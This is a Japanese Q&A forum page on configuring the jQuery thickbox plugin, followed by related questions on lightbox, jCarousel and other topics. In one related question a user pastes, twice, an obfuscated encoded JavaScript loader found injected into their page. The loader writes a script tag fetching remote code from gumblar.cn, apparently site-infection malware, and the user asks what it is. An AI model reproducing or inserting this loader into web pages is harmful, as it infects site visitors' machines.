• 締切済み

thickboxについて

arenani_sorenaniの回答

回答No.3

js/thickbox.js 内 13~30行目、以下の部分。 その下のprotect()も必要かな・・ //add thickbox to href elements that have a class of .thickbox $(document).ready(function(){//when the document is loaded //hashがあったら復元します var hash = location.hash; hash = hash.replace("#",""); var objPair = hash.split("&"); var param = {} //hashからオブジェとキーのペアを作る for(var i in objPair){ var dat = objPair[i].split("="); var val = unescape(dat[1]); param[ dat[0] ] = protect(val); } if(param["v"]){ TB_clicked(param["title"]||"no title", param["v"]); } }); .

horixx
質問者

お礼

本当に、ありがとうございます。 なんとなくイメージみたいなものは、つかめました。 Javascriptの本買って勉強してみます。 これ!。本家、thickbox.js (http://jquery.com/demo/thickbox/) を改造していますね。日本語たくさんある。

関連するQ&A

  • Thickboxの設置方法について

    超初心者的な質問なのですがスミマセン。 ブログにThickboxをいうものを設置したいと思っています。 様々なサイトから情報を集めたのですが、どうも理解できないでおります。 段取りとして、http://jquery.com/demo/thickbox/ よりファイル4つをDLしたのち・・・ この4つのファイルをどこへどう、アップすればよいのか?という質問なのです(ホント初心者なのでスミマセン) ブログにアップできるファイル形式は、jpgとgifなどのいわゆる画像系しか出来ません。ということは設置は無理なのでしょうか? それと、もう一つだけお願いします。 ブログにlightboxを設置した際に、テスト運用のブログでは完全に動作していましたが、閲覧用ブログではIEブラウザそのものが開けませんでした。2つのブログは全く同じ形式で、同じものを貼り付けたんですけど。 こんなことってあるんですね。 lightboxは知人にやってもらいましたので、ファイルのアップとかは他人任せでした。 もしlightboxが可能ならそれを使いたいのですけど、無理ならThickboxにと思いまして・・ それでもダメならあきらめるしかないのかな・・・(涙

  • thickboxで画像を差し替えたときの表示がおかしい

    jQuery最新版、thickbox2.1で画像を表示させています。 すでにアップされている画像を同じファイル名、違うサイズで差し替えると、 拡大表示させたとき、差し替えた画像のサイズではなく古い画像サイズで 画像が開いてしまいます。ブラウザのキャッシュをクリアして再起動しても直りません。 こういったサイズ情報をどこかにキャッシュしているのでしょうか? この問題の解決方法をご存知の方、教えてください。 環境:IE8 ※ちなみに検索してたら2ちゃんねるでも過去に同様の質問がありましたが、解決していないようでした。 http://pc11.2ch.net/test/read.cgi/hp/1127340053/ 379以降

  • jqueryのloadで読み込んだページ内でthickboxで画像を表示する方法

    画像表示処理方法で教えて頂ければと思います。 テスト用に2つのファイル(index.html, test.html)を用意しました。 index.htmlで thickboxを使用して画像をクリックすると希望通り (画像がアップ表示)の動作をします。 しかしindex.htmlのloadで test.html読み込んだ時の画像部分が、 target="_self"で押したときの動作になってしまいます。 解決方法、よろしくお願いします。 -----index.html----- <html> <head> <link href="thickbox.css" type="text/css" rel="stylesheet" /> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="thickbox.js"></script> <script type="text/javascript"> <!-- function init(){ $("#Test").load("test.html"); } // --> </script> </head> <body onload="init()"> <div id="Test"></div> <hr> (2)<a href="test.gif" title="" class="thickbox"><img alt="" src="test.gif" /></a> </body> </html> -----test.html----- (1)<a href="test.gif" title="" class="thickbox"><img alt="" src="test.gif" /></a>

  • Thickboxに表示されたページのアドレスを取得できないでしょうか?

    お世話になります 入力されたアドレスが実在するか調べたいのですがThickboxに表示されたホームページのアドレスを取得することはできないでしょうか? <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="ja"> <head> <title>chosproduce.com</title> <meta http-equiv="Content-Style-Type" content="text/css"> <meta http-equiv="Content-Script-Type" content="text/javascript"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <script type="text/javascript" src="./js/jquery.js"></script> <script type="text/javascript" src="./js/thickbox.js"></script> <link rel="stylesheet" href="./css/thickbox.css" type="text/css" media="screen"> <script type="text/javascript"><!-- function addcheck() { url = document.getElementById("add").value; document.getElementById("hide").href = url + "?placeValuesBeforeTB_=savedValues&TB_iframe=true&height=0&width=0"; document.getElementById("push").click(); document.getElementById("er").innerHTML = ""; checkurl = (Thickboxに表示されたアドレス); if(checkurl != url) { document.getElementById("er").innerHTML = "実在しません"; } tb_remove(); } //--></script> <style type="text/css"><!-- #hide { display:none; } --></style> </head> <body> <div> <input type="text" name="add" id="add"> <input type="button" value="check" onclick="addcheck()"> <a href="" title="addcheck" class="thickbox" id="hide"> <input type="button" value="c" id="push"> </a> <div id="er"></div> </div> </body> </html> という感じにしています window.openだと(window名).location.hrefで多分取れると思うのですが開いて閉じると画面がパチッとなってしまうのでできません thickboxだとwindow名(iframe仕様になってるのでiframe名かな?)が何かお分かりになる方いらっしゃいますでしょうか?

  • jquery.gmap3の件

    http://blog.bumberboom.net/demo/jquery.gmap3/ の一番下のマップに、吹き出しを1個ずつ表示(クリックしたら、別のinfowindowが立ち上がるように)にさせたいのですが、どなたか分かる方いらっしゃますでしょうか。 よろしくお願いします。

  • Jcarousel 複数設置

    http://sorgalla.com/jcarousel/の下から2番目のjCarousel and Thickbox 3についてです。 試行錯誤して何とか1つはHTMLに表示できました。 が、しかし、商品のシリーズごとに同一のHTMLに複数表示させたいのですが やり方がわかりません。 ・Aシリーズ ・Bシリーズ ・Cシリーズ みたいな感じです。 よろしくお願いします。 以下、ソースです。 // Set thickbox loading image tb_pathToImage = "images/loading-thickbox.gif"; var mycarousel_itemList = [ {url: "http://static.flickr.com/66/199481236_dc98b5abb3_s.jpg", title: "Flower1"}, {url: "http://static.flickr.com/75/199481072_b4a0d09597_s.jpg", title: "Flower2"}, {url: "http://static.flickr.com/57/199481087_33ae73a8de_s.jpg", title: "Flower3"}, {url: "http://static.flickr.com/77/199481108_4359e6b971_s.jpg", title: "Flower4"}, {url: "http://static.flickr.com/58/199481143_3c148d9dd3_s.jpg", title: "Flower5"}, {url: "http://static.flickr.com/72/199481203_ad4cdcf109_s.jpg", title: "Flower6"}, {url: "http://static.flickr.com/58/199481218_264ce20da0_s.jpg", title: "Flower7"}, {url: "http://static.flickr.com/69/199481255_fdfe885f87_s.jpg", title: "Flower8"}, {url: "http://static.flickr.com/60/199480111_87d4cb3e38_s.jpg", title: "Flower9"}, {url: "http://static.flickr.com/70/229228324_08223b70fa_s.jpg", title: "Flower10"} ]; function mycarousel_itemLoadCallback(carousel, state) { for (var i = carousel.first; i <= carousel.last; i++) { if (carousel.has(i)) { continue; } if (i > mycarousel_itemList.length) { break; } // Create an object from HTML var item = jQuery(mycarousel_getItemHTML(mycarousel_itemList[i-1])).get(0); // Apply thickbox tb_init(item); carousel.add(i, item); } }; /** * Item html creation helper. */ function mycarousel_getItemHTML(item) { var url_m = item.url.replace(/_s.jpg/g, '_m.jpg'); return '<a href="' + url_m + '" title="' + item.title + '"><img src="' + item.url + '" width="75" height="75" border="0" alt="' + item.title + '" /></a>'; }; jQuery(document).ready(function() { jQuery('#mycarousel').jcarousel({ size: mycarousel_itemList.length, itemLoadCallback: {onBeforeAnimation: mycarousel_itemLoadCallback} }); }); </script> </head> <body> <div id="wrap"> <h1>jCarousel</h1> <h2>Riding carousels with jQuery</h2> <h3>jCarousel and Thickbox 3</h3> <p> Example of jCarousel working together with <a href="http://jquery.com/demo/thickbox/">Thickbox 3</a>. </p> <ul id="mycarousel" class="jcarousel-skin-ie7"> <!-- The content will be dynamically loaded in here --> </ul> </div>

    • ベストアンサー
    • AJAX
  • ソース上に出てくる理解不能なコードについて

    <script language="javascript" src="js/jquery.js" type="text/javascript"></script> <script language="javascript" src="js/jquery.rollover.js" type="text/javascript"></script> <script type="text/javascript" src="js/thickbox.js"></script> を利用してサイトを作成したら <head/>と<body>の間に <script language=javascript><!-- (function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g); --></script><script language=javascript><!-- (function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g); --></script> というコードが表示されます。 これは何でしょうか?消す方法はあるでしょうか?

  • slideToggleを複数のボタンで適用したい

    jQueryのslideToggleについての質問です。 以下のようなコードがあるとします。 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>jQuery show/hide</title> <script type="text/javascript" src="../../jQuery/jquery.js"></script> <script type="text/javascript"> $(document).ready(function() { $('div.demo-show:eq(0)> div').hide(); $('div.demo-show:eq(0)> h3').click(function() { $(this).next().slideToggle('fast'); }); }); </script> </head> <body> <div class="demo-show"> <h3>「見出し1」</h3> <div>見出し1のコンテンツ...……<div class="class-name">コンテンツを閉じる</div></div> </div> </body> </html> 「見出し1」をクリックすると見出し1のコンテンツが表示されます。 もう一度「見出し1」をクリックすると見出し1のコンテンツが隠されます。 ・見出し1のコンテンツが表示されている状態で、「見出し1」をクリックする ・見出し1のコンテンツが表示されている状態で、「コンテンツを閉じる」をクリックする の2通りの場合で見出し1のコンテンツが隠されるようにしたいのですが、jqueryをどのように書き替えたらいいのでしょうか。 よろしくお願いします。

  • エクセルの関数で2つの条件に合うものを探す。

    エクセルの関数で下記のことをしたいのです。 表(1) T>=0.6  0.6>T>=0.3  0.3>T>=0.15 U<2   A     B       C 2<=U<3  B     B-C     D 3<=U<4  C      C      D 4<=U<6  D     C-D     D 6<=U    E      D      D 別の表(2)に U   T         1.5  0.3         0.9  0.8             5.9  0.13         ・   ・         ・   ・ とあります。 そのためUの値とTの値で表(1)のAからE値を抽出し別の表にAからEを表示したいのです。エクセルの関数(IF,AND,LOOKUP等)を試してみたのですがうまくいきません。できるだけエクセルの関数のみで、よい方法があれば教えてください。よろしくおねがいします。     

  • マインスイーパーの解き方

    画像の赤枠の2ますが最後に残りました。 http://blogimg.goo.ne.jp/user_image/30/e7/4480529d3d5ed4b6b2ba5034b6c868ed.jpg カンで選んだのですが、解く考え方はありますでしょうか?